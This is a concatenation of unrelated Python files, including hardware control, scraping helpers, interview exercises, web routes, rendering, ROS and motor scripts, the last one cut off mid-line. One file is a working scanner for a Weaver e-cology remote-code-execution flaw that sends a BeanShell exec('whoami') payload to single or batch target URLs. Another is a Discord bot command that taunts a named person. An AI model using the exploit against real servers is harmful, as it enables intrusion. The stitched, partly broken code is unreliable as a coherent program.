import RPi.GPIO as GPIO
from pidev.stepper import stepper
from pidev.Cyprus_Commands import Cyprus_Commands_RPi as cyprus
from threading import Thread

# ////////////////////////////////////////////////////////////////
# //                      GLOBAL VARIABLES                      //
# //                         CONSTANTS                          //
# ////////////////////////////////////////////////////////////////
ON = False
OFF = True
HOME = True
TOP = False
OPEN = False
CLOSE = True
YELLOW = .180, 0.188, 0.980, 1
BLUE = 0.917, 0.796, 0.380, 1
DEBOUNCE = 0.1
INIT_RAMP_SPEED = 150
RAMP_LENGTH = 725

# ////////////////////////////////////////////////////////////////
# //            DECLARE APP CLASS AND SCREENMANAGER             //
# //                     LOAD KIVY FILE                         //
# ////////////////////////////////////////////////////////////////
class MyApp(App):
    def build(self):
        self.title = "Perpetual Motion"
        return sm

Builder.load_file('main.kv')
Window.clearcolor = (.1, .1,.1, 1) # (WHITE)

cyprus.initialize()
cyprus.open_spi()

# ////////////////////////////////////////////////////////////////
# //                    SLUSH/HARDWARE SETUP                    //
# ////////////////////////////////////////////////////////////////
sm = ScreenManager()
ramp = stepper(port = 0, speed = INIT_RAMP_SPEED)

# ////////////////////////////////////////////////////////////////
# //                       MAIN FUNCTIONS                       //
# //             SHOULD INTERACT DIRECTLY WITH HARDWARE         //
# ////////////////////////////////////////////////////////////////

# ////////////////////////////////////////////////////////////////
# //        DEFINE MAINSCREEN CLASS THAT KIVY RECOGNIZES        //
# //                                                            //
# //   KIVY UI CAN INTERACT DIRECTLY W/ THE FUNCTIONS DEFINED   //
# //     CORRESPONDS TO BUTTON/SLIDER/WIDGET "on_release"       //
# //                                                            //
# //   SHOULD REFERENCE MAIN FUNCTIONS WITHIN THESE FUNCTIONS   //
# //      SHOULD NOT INTERACT DIRECTLY WITH THE HARDWARE        //
# ////////////////////////////////////////////////////////////////
class MainScreen(Screen):
    version = cyprus.read_firmware_version()
    staircaseSpeedText = '0'
    #rampSpeed = INIT_RAMP_SPEED
    #stairCaseSpeed = 40
    GATEOPEN = True
    s0 = stepper(port=0, micro_steps=32, hold_current=20, run_current=20, accel_current=20, deaccel_current=20,
                 steps_per_unit=200, speed=2)

    def __init__(self, **kwargs):
        super(MainScreen, self).__init__(**kwargs)
        self.initialize()

    def toggleGate(self):
        if not self.GATEOPEN:
            cyprus.set_servo_position(2, 0.1)
            self.GATEOPEN = True
        else:
            cyprus.set_servo_position(2, .4)
            self.GATEOPEN = False

    def toggleStaircase(self):
        cyprus.set_pwm_values(1, period_value=100000, compare_value=100000, compare_mode=cyprus.LESS_THAN_OR_EQUAL)
        sleep(10)
        cyprus.set_pwm_values(1, period_value=100000, compare_value=0, compare_mode=cyprus.LESS_THAN_OR_EQUAL)

    def toggleRamp(self):
        self.s0.start_relative_move(1)
        while self.s0.get_position_in_units() < 28:
            self.s0.go_until_press(1, 6400*self.rampSpeed.value)
            sleep(.1)
        self.s0.go_until_press(0, 6400*5)

    def auto(self):
        self.toggleRamp()
        sleep(1.5)
        self.toggleStaircase()
        sleep(3)
        self.toggleGate()
        sleep(1)
        cyprus.set_servo_position(2, 0.05)

    def auto_Thread(self):
        Thread(target=self.auto).start()

    def ramp_Thread(self):
        Thread(target=self.toggleRamp).start()

    def stairs_Thread(self):
        Thread(target=self.toggleStaircase).start()

    def setRampSpeed(self):
        self.s0.set_speed(self.rampSpeed.value)

    def setStaircaseSpeed(self):
        cyprus.set_pwm_values(1, period_value=100000, compare_value= self.staircaseSpeed.value, compare_mode=cyprus.LESS_THAN_OR_EQUAL)

    def initialize(self):
        cyprus.initialize()
        cyprus.set_servo_position(2, 0.1)
        cyprus.set_pwm_values(1, period_value=100000, compare_value=0, compare_mode=cyprus.LESS_THAN_OR_EQUAL)
        self.s0.go_until_press(0, 6400*5)
        while self.s0.isBusy():
            sleep(.1)
        self.s0.setAsHome()

        print(self.s0.get_position_in_units())

    def resetColors(self):
        self.ids.gate.color = YELLOW
        self.ids.staircase.color = YELLOW
        self.ids.ramp.color = YELLOW
        self.ids.auto.color = BLUE

    def quit(self):
        print("Exit")
        MyApp().stop()

sm.add_widget(MainScreen(name = 'main'))

# ////////////////////////////////////////////////////////////////
# //                          RUN APP                           //
# ////////////////////////////////////////////////////////////////

MyApp().run()
cyprus.close_spi()


from fat_fs_lib.entries import DirEntry, FileEntry
from fat_fs_lib.directory import ClusteredFile, ClusteredDirectory
from fat_fs_lib.fat_fs import FatFs

class AbstractApplication:
    def __init__(self, image):
        self.raw = image
        self.fat32_image = FatFs(self.raw)
        self.pwd_entry = self.fat32_image.get_root()

    def save(self, entry):
        """
        Function that saves files to dir "saved"
        """
        input_file = ClusteredFile(self.fat32_image, entry)
        output_file = open('saved/%s' % entry.get_name(), 'wb+')
        saved_fragments_count = 0
        total_fragments = len(input_file.fragments)
        for fragment in input_file.read_all():
            output_file.write(fragment)
            saved_fragments_count += 1
            yield self.get_percentage(saved_fragments_count,
                                      total_fragments)

    def get_percentage(self, saved, total):
        """Return percentage of already copied data"""
        return int(saved / total * 100)

    def cat(self, entry):
        file = ClusteredFile(self.fat32_image, entry)
        for fragment in file.read_all():
            yield str(fragment)[2:-1]

    def cd(self, entry):
        self.pwd_entry = ClusteredDirectory(self.fat32_image, entry)
        if self.pwd_entry.entry.first_cluster == 0:
            self.pwd_entry = self.fat32_image.get_root()

    def ls(self, entries):
        for entry in entries:
            if type(entry) in {FileEntry, DirEntry}:
                yield entry


from selenium import webdriver
from bs4.element import Tag
from webdriver_manager.chrome import ChromeDriverManager
from bs4 import BeautifulSoup
import requests
import time
import datetime
from urllib import parse

def html_parser(url: str, delay=0, headless=False, dynamic=True, log_level=0):
    if not dynamic:
        return BeautifulSoup(requests.get(url).text, "html.parser")
    options = webdriver.ChromeOptions()
    if headless:
        options.add_argument("headless")
    try:
        # silencing log not working
        driver = webdriver.Chrome(ChromeDriverManager(log_level=log_level).install(), options=options)
        driver.get(url)
        time.sleep(delay)
        source = driver.page_source
        driver.quit()
        return BeautifulSoup(source, "html.parser")
    except:
        print("html parser got an error")
        return None

def get_text(target: Tag, recursive=True):
    if type(target) == str:
        return target
    if hasattr(target, "text"):
        if not recursive:
            return "".join(get_text(filter(lambda x: x.name == None, target.children)))
        return target.text.strip()
    try:
        return list(map(get_text, target))
    except:
        return ""

class ProgressBar:
    def __init__(self, length, division=50, fill="="):
        self.count = 0
        self.length = length
        self.division = division
        self.fill = str(fill)
        self.start = time.time()

    def next(self):
        self.count += 1
        bar = int(self.count / self.length * self.division)
        percent = int(self.count / self.length * 100)
        self.end = time.time()
        average_time = (self.end - self.start) / self.count
        eta = datetime.timedelta(seconds=int(average_time * (self.length - self.count)))
        print(
            f"process: [{self.fill*bar}{' '*(self.division-bar)}] | {percent:3d}% | {self.count}/{self.length} | eta: {eta}",
            end="\r",
        )
        if self.count == self.length:
            print(f"\ntook {datetime.timedelta(seconds=self.end - self.start)}")

def replace_url(url, initialize=False, **kwargs):
    if initialize:
        url = parse.urljoin(url, "/")
    return parse.urlunparse(parse.urlparse(url)._replace(**kwargs))

def get_url_query(url):
    return dict(parse.parse_qsl(parse.urlparse(url).query))

def set_url_query(url, new_query):
    if type(new_query) == str:
        return replace_url(url, query=new_query)
    if type(new_query) == dict:
        new_query = new_query.items()
    query = parse.parse_qs(parse.urlparse(url).query)
    for key, value in new_query:
        query[key] = value
    return replace_url(url, query=parse.urlencode(query, doseq=True))

def dict_filter(data: dict, *args):
    filtered_dict = {}
    for arg in args:
        filtered_dict[arg] = data.get(arg)
    return filtered_dict


"""
You are given two strings s and t.
You can select any substring of string s and rearrange the characters of the selected substring.
Determine the minimum length of the substring of s such that string t is a substring of the selected substring.
"""

from collections import deque, defaultdict

def min_length_substring(s, t):
    # Write your code here
    Sfreq = dict()
    Tfreq = dict()

    for _ in t:
        if _ not in Tfreq:
            Tfreq[_] = 0
            Sfreq[_] = 0
        Tfreq[_] += 1

    IsFull = False
    Index = deque([])

    for i, es in enumerate(s):

        if es in Tfreq:
            if not IsFull:
                Sfreq[es] += 1
                allIn = [Tfreq[key] > Sfreq[key] for key in Sfreq]
                if not any(allIn):  # Check if I have everybody
                    IsFull = True
                Index.append(i)
            elif IsFull:
                if es == s[Index[0]] and Index[-1] - Index[0] >= i - Index[2]:
                    Sfreq[s[Index.popleft()]] -= 1
                    Index.append(i)
                    Sfreq[s[Index[-1]]] += 1
                    while Sfreq[s[Index[0]]] > Tfreq[s[Index[0]]]:  # Reduce the first part of the substr
                        Sfreq[s[Index.popleft()]] -= 1

    if not IsFull:
        return -1
    subStr = s[Index[0]:Index[-1]+1]
    print(subStr)
    return len(subStr)

# These are the tests we use to determine if the solution is correct.
# You can add your own at the bottom.

def printInteger(n):
    print('[', n, ']', sep='', end='')

test_case_number = 1

def check(expected, output):
    global test_case_number
    result = False
    if expected == output:
        result = True
    rightTick = '\u2713'
    wrongTick = '\u2717'
    if result:
        print(rightTick, 'Test #', test_case_number, sep='')
    else:
        print(wrongTick, 'Test #', test_case_number, ': Expected ', sep='', end='')
        printInteger(expected)
        print(' Your output: ', end='')
        printInteger(output)
        print()
    test_case_number += 1

if __name__ == "__main__":
    s1 = "dcbefebce"
    t1 = "fd"
    expected_1 = 5
    output_1 = min_length_substring(s1, t1)
    check(expected_1, output_1)

    s2 = "bfbeadbcbcbfeaaeefcddcccbbbfaaafdbebedddf"
    t2 = "cbccfafebccdccebdd"
    expected_2 = -1
    output_2 = min_length_substring(s2, t2)
    check(expected_2, output_2)

    s3 = "xxxbxxaaxxcxcbaxcxxbbxa"
    t3 = "abcc"
    expected_3 = 5
    output_3 = min_length_substring(s3, t3)
    check(expected_3, output_3)

    # Add your own test cases here

META/META Strings/Minimum Length Substrings.py


import json

# Load the book, if it has been stored previously.
# Otherwise, prompt for the book and store it.

filename = 'book.json'
try:
	with open(filename) as file_object:
		book = json.load(file_object)
except FileNotFoundError:
	book = input("What is your favorite book? ")
	with open(filename, 'w') as file_object:
		json.dump(book, file_object)
		print("I'll remember your favorite book. I promise!")
else:
	print("I remember your favorite book. It's " + book + "!")


import asyncio
import json
import numpy as np
from random import random
from collections import defaultdict

statistic = defaultdict(list)

q = asyncio.Queue()

async def producer(probability=0.8):
    global q
    while True:
        maybe = random()
        print(f"Current probability: {maybe}")
        if maybe <= probability:
            print("Put in queue")
            await q.put(1)
            print(f"queue size: {q.qsize()}")
        else:
            print("None")
        print("Sleeping\n")
        await asyncio.sleep(2)

async def consumer(mu=7, sigma=1):
    global q
    await asyncio.sleep(3)
    while True:
        normal_time = np.random.normal(mu, sigma)
        print("Get object from queue")
        if q.empty() and len([task for task in asyncio.Task.all_tasks() if not task.done()]) > 3:
            print(f"Queue is empty. Consumer Deleted\n")
            break
        print("Handling...")
        item = await q.get()
        print("Handled !!!\n")
        await asyncio.sleep(normal_time)

async def control():
    global loop
    global q
    global statistic
    while True:
        if q.qsize() >= 20:
            loop.create_task(consumer())
            print("Queue has too many objects. Another consumer created")
        queue_size_per_second = q.qsize()
        amount_task_per_second = len([task for task in asyncio.Task.all_tasks() if not task.done()])
        statistic['amount_task_per_second'].append(amount_task_per_second)
        statistic['queue_size_per_second'].append(queue_size_per_second)
        print('Active tasks count: ', amount_task_per_second, '\n')
        await asyncio.sleep(1)

try:
    loop = asyncio.get_event_loop()
    loop.run_until_complete(
        asyncio.gather(
            producer(),
            consumer(),
            control()
        )
    )
    loop.close()
except:
    print("input to file")
    with open("statistic.txt",'w') as f:
        f.write(json.dumps(statistic))


from django.urls import path
from device.views import device_views as views

urlpatterns = [
	path('api/v1/all/', views.getAllDevice), # admin only
	path('api/v1/get_all_company_device/', views.getAllDeviceByCompany),

	path('api/v1/<int:pk>', views.getADevice), # admin only
	path('api/v1/get_company_device/<int:pk>', views.getADeviceByCompany),

	path('api/v1/search/', views.searchDevice), # admin only
	path('api/v1/company_device_search/', views.searchDeviceByCompany),

	path('api/v1/create/', views.createDevice),

	path('api/v1/update/<int:pk>', views.updateDevice), # admin only
	path('api/v1/company_device_update/<int:pk>', views.updateDeviceByCompany),

	path('api/v1/delete/<int:pk>', views.deleteDevice), # admin only
	path('api/v1/company_device_delete/<int:pk>', views.deleteDeviceByCompany),
]


import cv2
import numpy as np
import matplotlib.pyplot as plt
from tqdm import trange

from chair_renderer.assets import TEXTURES, get_tex
from chair_renderer.box import floor, right, left, back
from chair_renderer.camera import Camera
from chair_renderer.objects import Obj, Scene
from chair_renderer.renderer import Renderer
from chair_renderer.shaders import SHADER_FACENORMALS

width = 512
height = 512
# near = .86655 # best possible near for x=y=1024
near = .001
far = 3.62
fov = 60
CV2_SHOW = False
CV2_SAVE = True
PLT_SHOW = False

renderer = Renderer(SHADER_FACENORMALS, width, height, msaa=8)
camera = Camera(width, height, [0, 1, 0], near, far, fov)
scene = Scene(renderer.ctx)

chair = Obj()
chair.load_from_file("chair2.obj")
# chair.add_texture(get_tex(0))
chair.add_color()
chair.rotate(-90, -90, 0)

minima = chair.vertices.min(axis=0)
min_diff = minima[2] - (-.5)

chair.translate(0, 0, -min_diff)
# print(chair.vertices)
# print(chair.vertices.min(axis=0))

scene.add_obj(chair)

floor.add_texture(get_tex(0))
scene.add_obj(floor)
right.add_texture(get_tex(2))
scene.add_obj(right)
left.add_texture(get_tex(4))
scene.add_obj(left)
back.add_texture(get_tex(5))
scene.add_obj(back)

steps = 5
step = np.pi / steps
distance = 1.5
angle = 0
depth_min = 0.99912244
# depth_min = np.inf

for i in trange(steps):
    x = distance * np.cos(angle)
    y = distance * np.sin(angle)
    angle += step
    camera.eye = [x, y, 0]

    img, depth = renderer.render(scene, camera, light=(1, 5, 10))

    d = np.copy(depth)
    d -= depth_min
    d /= (1 - depth_min)

    if CV2_SHOW:
        cv2.imshow("rgb", img[:, :, ::-1])
        cv2.imshow("depth", d)
        cv2.waitKey(1)

    if CV2_SAVE:
        # print (img.min(), img.max(), img.dtype)
        # print (d.min(), d.max(), d.dtype)
        cv2.imwrite(f"chair/{i:04}-rgb.png", (img[:, :, ::-1]*255).astype(np.uint8))
        cv2.imwrite(f"chair/{i:04}-depth.png", (d*255).astype(np.uint8))

    if PLT_SHOW:
        fig, (ax1, ax2, ax3) = plt.subplots(1, 3)

        ax1.imshow(img)
        ax1.set_title('RGB')
        ax1.set_axis_off()

        ax2.imshow(d)
        ax2.set_title('Depth')
        ax2.set_axis_off()

        col = d[:, int(round(width/2))]
        x = np.arange(0, len(col))
        ax3.plot(col[::-1], x)
        ax3.set_title('Depth slice')
        ax3.set_axis_off()
        plt.show()

print (depth_min)


import datetime
import sys

last_id = 0

class Note:

    def __init__(self, memo, tags=''):
        self.memo = memo
        self.tags = tags
        self.date = datetime.date.today()
        global last_id
        last_id += 1
        self.id = last_id

    def match(self, filter):
        return filter in self.memo or filter in self.tags

class Notebook:

    def __init__(self):
        self.notes = []

    def new_note(self, memo, tags=''):
        self.notes.append(Note(memo, tags))

    def search(self, filter):
        return [note for note in self.notes if
                note.match(filter)]

class Menu:

    def __init__(self):
        self.notebook = Notebook()
        self.opcions = {
                "1": self.show_notes,
                "2": self.search_notes,
                "3": self.add_note,
                "4": self.quit
                }

    def display_menu(self):
        print("""
Menu Llibreta
1. Veure totes les notes
2. Buscar notes
3. Afegir nota
4. Sortir
""")

    def run(self):
        while True:
            self.display_menu()
            escull = input("Escull una opcio: ")
            action = self.opcions.get(escull)
            if action:
                action()
            else:
                print("{0} no es una opcio valida".format(escull))

    def show_notes(self, notes=None):
        if not notes:
            notes = self.notebook.notes
        for note in notes:
            print(note.id, note.tags, note.memo, note.date)

    def search_notes(self):
        filter = input("Buscar: ")
        notes = self.notebook.search(filter)
        self.show_notes(notes)

    def add_note(self):
        memo = input("Afegeix la memo: ")
        tags = input("Afegeix tags: ")
        self.notebook.new_note(memo, tags)

        print("La teva nota s'ha afegit")

    def quit(self):
        sys.exit(0)

if __name__ == "__main__":
    Menu().run()


#!/usr/bin/python3

# ## {R2D2919B742E} ##
# ###########################################################################
# What if magic existed?
# What if a place existed where your every thought and dream come to life.
# There is only one catch: it has to be written down.
# Such a place exists, it is called programming.
#    - Scott Taylor Reph, RightThumb.com
# ###########################################################################
# ## {C3P0D40fAe8B} ##

import os
import sys
import time
# import platform
##################################################
import _rightThumb._construct as __
appDBA = __.clearFocus( __name__, __file__ )
__.appReg = appDBA
def focus( parentApp='', childApp='', reg=True ):
	global appDBA
	f = __.appName( appDBA, parentApp, childApp )
	if reg:
		__.appReg = f
	return f
__.registeredApps.append( focus() )
import _rightThumb._base3 as _
_.load()
##################################################
import _rightThumb._vars as _v
import _rightThumb._string as _str

##################################################

def appSwitches():
	_.switches.register( 'DB', '-db', isRequired=True )
	_.switches.register( 'SQL', '-sql' )
	_.switches.register( 'Subject', '-subject' )
	_.switches.register( 'Fields', '-fields' )
	pass

_.autoBackupData = __.autoCreationConfiguration['backup']
__.isRequired_Pipe = False
__.isRequired_Pipe_or_File = False
__.pre_error = False
# __.isRequired_or_List = ['Pipe','Files','Plus']

_.appInfo[focus()] = {
	'file': 'query.py',
	'liveAppName': __.thisApp( __file__ ),
	'description': 'Query SQLite database files',
	'categories': [
						'SQLite',
						'query',
						'sql',
						'db',
						'.db',
						'database',
						'tool',
				],
	'usage': [
						# 'epy another',
						# 'e nmap',
						# '',
	],
	'relatedapps': [
						# 'p another -file file.txt',
						# '',
	],
	'prerequisite': [
						# 'p another -file file.txt',
						# '',
	],
	'examples': [
						'p query -db D_Drive.db -sql "select count(path) as cnt, date_modified, folder from files where date_modified_raw > 1548486000 and path like \';p\\tech\\;p\' group by folder order by date_modified_raw desc" ',
						'',
						'p query -db D_Drive.db -sql "select count(path) as cnt, date_modified, folder from files where date_modified_raw > 1580108400 group by folder order by date_modified_raw desc" -subject 2 - tech xampp "Program Files"',
						'',
						'p query -db D_Drive.db -sql "select count(path) as cnt, date_modified, folder from files where date_modified_raw > 1580108400 group by folder order by date_modified_raw desc" -subject 2 - tech xampp "Program Files"  -fields cnt epoch folder -long',
						'',
						'p query -db C_Drive.db -sql " SELECT sql FROM sqlite_master WHERE name=\'files\' "',
						'',
	],
	'columns': [
					# { 'name': 'name', 'abbreviation': 'n' },
					# { 'name': '{1}', 'abbreviation': '{0}', 'sort': '{2}' },
	],
	'aliases': [
					# 'this',
					# 'app',
	],
	'notes': [
					# {},
	],
}

_.appData[focus()] = {
		'start': __.startTime,
		'uuid': '',
		'audit': [],
		'pipe': False,
		'data': {
					'field': {'sent': [], 'received': [] }, # { 'label': '', 'context': [],  }
					'table': {'sent': [], 'received': [] },
		},
	}

def registerSwitches( argvProcessForce=False ):
	global appDBA
	if not __.appReg == appDBA and appDBA in __.appReg:

		if not __name__ == '__main__':
			_.argvProcess = argvProcessForce
		else:
			_.argvProcess = True

		_.load()
		_.appInfo[__.appReg] = _.appInfo[appDBA]
		_.appData[__.appReg] = _.appData[appDBA]
	__.constructRegistration( _.appInfo[__.appReg]['file'],__.appReg )
	appSwitches()

	_.myFileLocation_Print = False
	__.myFileLocations_SKIP_VALIDATION = False
	_.switches.trigger( 'Files', _.myFileLocations )
	_.switches.trigger( 'Folder', _.myFolderLocations )
	_.switches.trigger( 'URL', _.urlTrigger )
	_.switches.trigger( 'Ago', _.timeAgo )
	_.switches.trigger( 'Duration', _.timeFuture )

	_.defaultScriptTriggers()
	_.switches.process()

if not __name__ == '__main__':
	_.argvProcess = False
else:
	_.argvProcess = True

registerSwitches()

def fieldSet( switchName, switchField, switchValue, theFocus=False ):
	if not type( theFocus ) == bool:
		theFocus = theFocus
	_.switches.fieldSet( switchName, switchField, switchValue, theFocus )

if __name__ == '__main__':
	if not sys.stdin.isatty():
		_.setPipeData( sys.stdin.readlines(), __.appReg, clean=True )

_.postLoad( __file__ )

########################################################################################
# START

import sqlite3

def action():
	if not _.switches.isActive('SQL'):
		sql = 'SELECT sql FROM sqlite_master WHERE name="files"'
	else:
		sql = ' '.join( _.switches.values('SQL') ).replace("'",'"').replace( ';p', '%' )
	# _.pr( sql )
	# _.pr()
	# _.pr()
	cnt = 0
	t = None
	for db in _.switches.values('DB'):
		conn = sqlite3.connect(db)
		c = conn.cursor()
		c.execute(sql)
		records = c.fetchall()
		table = []
		for record in records:
			if sql == 'SELECT sql FROM sqlite_master WHERE name="files"':
				data = record[0]
				data = data.replace( '(', '(\n\t ' )
				data = data.replace( ')', '\n)' )
				data = data.replace( ',', ',\n\t' )
				_.pr(data)

			else:
				if not _.switches.isActive('Plus') and not _.switches.isActive('Minus'):
					cnt+=1
					t='a'

					if _.switches.isActive('Fields'):
						rec = {}
						for ei, f in enumerate(_.switches.values('Fields')):
							rec[f] = record[ei]
						table.append(rec)
					else:
						_.pr( record )

				elif _.switches.isActive('Subject'):
					i = int( _.switches.value('Subject') )
					if _.showLine( record[i] ):
						cnt+=1
						t='b'
						if _.switches.isActive('Fields'):
							rec = {}
							for ei, f in enumerate(_.switches.values('Fields')):
								rec[f] = record[ei]
							table.append(rec)
						else:
							_.pr( record )
				else:
					if _.showLine( str(record) ):
						cnt+=1
						t='c'
						if _.switches.isActive('Fields'):
							rec = {}
							for ei, f in enumerate(_.switches.values('Fields')):
								rec[f] = record[ei]
							table.append(rec)
						else:
							_.pr( record )
		if len(table):
			_.tables.register( 'data', table )
			_.tables.print( 'data', ','.join( _.switches.values('Fields') ) )
	_.pr()
	_.colorThis( ['',cnt], 'yellow' )

########################################################################################
if __name__ == '__main__':
	action()


import requests
import argparse

def verify(url,payload):
    #Furl=url+"/bshservlet/eval" #实验环境
    Furl=url+"/weaver/bsh.servlet.BshServle"
    with open("vlun_list.txt",'a') as vList:
        try:
            res = requests.post(Furl, data = payload)
            #print(res.text)
            if res.status_code == 200 :
                if "Error:" not in res.text:
                    print(url + " is a vlun [Verify Success!]\n")
                    #print(res.text)
                    vList.write(url+'\n')
                else:
                    print(url + "Verify Failed! not a vlun\n")
            else:
                print(str(res.status_code)+url+" Verify Failed! not a vlun \n")
        except Exception:
            raise Exception("Connet Failed!")

def ecologyexp(urls,mode):
    payload={"bsh.script":"exec(\"whoami\")","bsh.servlet.output":"raw"}
    if mode == '1':
        verify(urls,payload)
    elif mode == '2':
        with open(urls) as uFile:
            for url in uFile.readlines():
                try:
                    verify(url,payload)
                except Exception as e:
                    print(e)
                continue
    else:
        pass

parser = argparse.ArgumentParser(description='e-cology verify',epilog="python e-cology-EXP.py -u url -m 1 || python e-cology-EXP.py -ul url.txt -m 2")
parser.add_argument('--url', '-u', help='url 属性，需检测站点的url')
parser.add_argument('--mode', '-m', help='mode 属性，单点检测||批量检测{1:url,2:urlList}', default='1')
parser.add_argument('--urlList', '-ul', help='urlList 属性，url列表')
parser.add_argument('--level', '-lv', help='level 属性，普通检测||高级检测{1:normal,2:pro}', default='1')
args = parser.parse_args()

if __name__ == '__main__':
    with open("vlun_list.txt",'w') as vF:
        vF.write("vlun_list\n")

    try:
        if args.urlList is not None:
            ecologyexp(args.urlList,args.mode)
        else:
            ecologyexp(args.url,args.mode)
    except Exception as e:
        print(e)


import os
import discord
from discord.ext import commands

intents = discord.Intents.default()
bot = commands.Bot(command_prefix='!', intents=intents)

@bot.event
async def on_ready():
    print(f"Logged in as {bot.user}")

@bot.slash_command(name="pranjal")
async def on_reddy(ctx):
    await ctx.respond("gay")

bot.run(os.environ["DISCORD_TOKEN"])


import linkedList as ll

# 2 - 4 - 1 - 5
def partition(llist,x):
    pointer = llist.head
    smaller = ll.LinkedList()
    bigger = ll.LinkedList()
    merged = ll.LinkedList()

    while pointer is not None:
        if(pointer.data >= x):
            bigger.append_node(bigger,pointer.data)
        else:
            smaller.append_node(smaller,pointer.data)
        pointer = pointer.next

    print(smaller)
    print(bigger)
    smallerLast = smaller.last_node(smaller)
    smallerLast.next = bigger.head
    merged.head = smaller.head
    print(merged)

# Basic setup
llist = ll.LinkedList()

first_node = ll.Node(1)
second_node = ll.Node(2)
third_node = ll.Node(4)
fourth_node = ll.Node(3)
fifth_node = ll.Node(2)
sixth_node = ll.Node(4)

llist.head = first_node
first_node.next = second_node
second_node.next = third_node
third_node.next = fourth_node
fourth_node.next = fifth_node
fifth_node.next = sixth_node

print(llist)
#removeDups(llist)
partition(llist,4)


# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this,
# file, You can obtain one at http://mozilla.org/MPL/2.0/.

import re

from compare_locales import mozpath

# The local path where we write the config files to
TARGET_PATH = b"_configs"

def process_config(toml_content):
    """Process TOML configuration content to match the l10n setup for
    the reference localization, return target_path and content.

    The code adjusts basepath, [[paths]], and [[includes]]
    """
    # adjust basepath in content. '.' works in practice, also in theory?
    new_base = mozpath.relpath(b".", TARGET_PATH)
    if not new_base:
        new_base = b"."  # relpath to '.' is '', sadly
    base_line = b'\nbasepath = "%s"' % new_base
    content1 = re.sub(br"^\s*basepath\s*=\s*.+", base_line, toml_content, flags=re.M)

    # process [[paths]]
    start = 0
    content2 = b""
    for m in re.finditer(
        br"\[\[\s*paths\s*\]\].+?(?=\[|\Z)", content1, re.M | re.DOTALL
    ):
        content2 += content1[start : m.start()]
        path_content = m.group()
        l10n_line = re.search(br"^\s*l10n\s*=.*$", path_content, flags=re.M).group()
        # remove variable expansions
        new_reference = re.sub(br"{\s*\S+\s*}", b"", l10n_line)
        # make the l10n a reference line
        new_reference = re.sub(br"^(\s*)l10n(\s*=)", br"\1reference\2", new_reference)
        content2 += re.sub(
            br"^\s*reference\s*=.*$", new_reference, path_content, flags=re.M
        )
        start = m.end()
    content2 += content1[start:]

    start = 0
    content3 = b""
    for m in re.finditer(
        br"\[\[\s*includes\s*\]\].+?(?=\[|\Z)", content2, re.M | re.DOTALL
    ):
        content3 += content2[start : m.start()]
        include_content = m.group()
        m_ = re.search(br'^\s*path = "(.+?)"', include_content, flags=re.M)
        content3 += (
            include_content[: m_.start(1)]
            + generate_filename(m_.group(1))
            + include_content[m_.end(1) :]
        )
        start = m.end()
    content3 += content2[start:]

    return content3

def generate_filename(path):
    segs = path.split(b"/")
    # strip /locales/ from filename
    segs = [seg for seg in segs if seg != b"locales"]
    # strip variables from filename
    segs = [seg for seg in segs if not seg.startswith(b"{") and not seg.endswith(b"}")]
    if segs[-1] == b"l10n.toml":
        segs.pop()
        segs[-1] += b".toml"
    outpath = b"-".join(segs)
    if TARGET_PATH != b".":
        # prepend the target path, if it's not '.'
        outpath = mozpath.join(TARGET_PATH, outpath)
    return outpath


import plotly.express as px
from dash import Dash, dcc, html
from dash.dependencies import Input, Output

from models.Member import Member
from models.Project import Project
from . import ids

def render(app: Dash, data: dict) -> html.Div:
    @app.callback(
        Output(ids.PROJECT_GANTT_CHART, "children"),
        [
            Input(ids.PROJECT_DROPDOWN, "value"),
        ],
    )
    def update_gantt_chart(
        project_list: list[str]
    ) -> html.Div:
        df = data[Project.__name__]
        filtered_data = df[df[Project.name.name].isin(project_list)]

        fig = px.timeline(
            filtered_data,
            y=Project.name.name,
            x_start=Project.start_date.name,
            x_end=Project.due_date.name,
        )
        fig.update_yaxes(autorange="reversed")  # otherwise tasks are listed from the bottom up

        return html.Div(dcc.Graph(figure=fig), id=ids.PROJECT_GANTT_CHART)

    return html.Div(id=ids.PROJECT_GANTT_CHART)


#!/usr/bin/env python
from __future__ import division
import cv2
import numpy as np
import rospy
import sys

from identify_circles import colourIdentifier
from geometry_msgs.msg import Twist, Vector3
from sensor_msgs.msg import Image
from cv_bridge import CvBridge, CvBridgeError

class cameraFeed():

    def __init__(self):
        # Initialise a publisher to publish messages to the robot base
        # We covered which topic receives messages that move the robot in the 2nd Lab Session
        self.pub = rospy.Publisher('mobile_base/commands/velocity', Twist)
        self.rate = rospy.Rate(10) #10hz

        # Initialise any flags that signal that an coloured circle has been detected (default to false)
        # self.red_circle_detected = 0
        # self.green_circle_detected = 0

        # Initialise the value you wish to use for sensitivity in the colour detection (10 should be enough)
        self.sensitivity = 10
        # Initialise some standard movement messages such as a simple move forward and a message with all zeroes (stop)

        # Remember to initialise a CvBridge() and set up a subscriber to the image topic you wish to use
        self.bridge = CvBridge()
        # We covered which topic to subscribe to should you wish to receive image data
        self.Pub = rospy.Publisher('camera/rgb/image_raw', Image)
        self.sub = rospy.Subscriber('camera/rgb/image_raw', Image, self.callback)

        #indentify_circles
        self.cI = colourIdentifier()

    def callback(self, data):
        # Convert the received image into a opencv image
        # But remember that you should always wrap a call to this conversion method in an exception handler
        try:
            cv_image = self.bridge.imgmsg_to_cv2(data, "bgr8")
            cp_image = cv_image.copy()
        except CvBridgeError as e :
            print("Error Converting cv image: {}".format(e.message))

        cv2.namedWindow('camera_Feed')
        cv2.imshow('camera_Feed', cv_image)
        cv2.waitKey(3)

    # Create a node of your class in the main and ensure it stays up and running
    # handling exceptions and such
def main(args):
    # Instantiate your class
    # And rospy.init the entire node
    rospy.init_node('image_converter', anonymous = True)
    cf = cameraFeed()
    # Ensure that the node continues running with rospy.spin()
    # You may need to wrap it in an exception handler in case of KeyboardInterrupts
    # Remember to destroy all image windows before closing node
    try:
        rospy.spin()
    except KeyboardInterrupt:
        print("Shut down")

    cv2.destroyAllWindows()

    # Check if the node is executing in the main path
if __name__ == '__main__':
    main(sys.argv)


import os
import asyncio
import moteus
import moteus_pi3hat
import utils
import numpy as np
import time

# from utils import go_to_pos
async def go_to_pos(servo, final_pos, rad_per_cycle=0.003, tau_limit = 4):
    (pos, _, _) = await utils.read_motor_data(servo)
    cmd_pos = pos
    sgn = -1 if pos > final_pos else 1
    try:
        while sgn * (final_pos - pos) > 0:
            cmd_pos += sgn * rad_per_cycle
            (pos,
            vel,
            tau) = await utils.send_rad_command(
                controller_obj=servo,
                pos=cmd_pos,
                vel=0,
                tau_limit=tau_limit)
    finally:
        await servo.set_stop()
async def main():
    print("Motor Enabled.")
    transport = moteus_pi3hat.Pi3HatRouter(
